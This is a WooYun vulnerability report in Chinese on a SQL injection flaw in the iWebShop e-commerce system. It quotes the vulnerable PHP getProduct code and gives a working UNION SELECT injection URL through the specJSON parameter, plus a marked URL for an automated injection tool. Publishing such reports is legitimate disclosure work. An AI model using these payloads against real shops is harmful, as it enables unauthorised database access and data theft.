当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-086071

漏洞标题:iwebshop电商网店系统通用SQL注入

相关厂商:www.jooyea.cn

漏洞作者: 我的老伙伴们都惊呆了

提交时间:2015-03-02 13:19

修复时间:2015-06-05 13:21

公开时间:2015-06-05 13:21

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-07: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-01: 细节向核心白帽子及相关领域专家公开
2015-05-11: 细节向普通白帽子公开
2015-05-21: 细节向实习白帽子公开
2015-06-05: 细节向公众公开

简要描述:

iwebshop电商网店系统通用SQL注入

详细说明:

来看代码:

function getProduct()
{
$jsonData = JSON::decode(IReq::get('specJSON'));//获取
if(!$jsonData)
{
echo JSON::encode(array('flag' => 'fail','message' => '规格值不符合标准'));
exit;
}
$goods_id = IFilter::act(IReq::get('goods_id'),'int');
$specJSON = IReq::get('specJSON');
//获取货品数据
$tb_products = new IModel('products');
//echo "goods_id = ".$goods_id." and spec_array = '".$specJSON."'";
$procducts_info = $tb_products->getObj("goods_id = ".$goods_id." and spec_array = '".$specJSON."'");//受控gpc 直接查询
//匹配到货品数据
if(!$procducts_info)
{
echo JSON::encode(array('flag' => 'fail','message' => '没有找到相关货品'));
exit;
}
//获得会员价
$countsumInstance = new countsum();
$group_price = $countsumInstance->getGroupPrice($procducts_info['id'],'product');
//会员价格
if($group_price !== null)
{
$procducts_info['group_price'] = $group_price;
}
echo JSON::encode(array('flag' => 'success','data' => $procducts_info));
}


手工注入测试:

http://127.0.0.1/iweb/index.php?controller=site&action=getProduct&specJSON={ "people":"1' and 1=2 union select user(),2,3,4,5,6,7,8,9 and '1'='1"}


16.png


扔工具
http://127.0.0.1/iweb/index.php?controller=site&action=getProduct&specJSON={ "people":"1' and 1=%Inject_Here% and '1'='1"}

17.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 我的老伙伴们都惊呆了@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-05 13:21

厂商回复:

最新状态:

暂无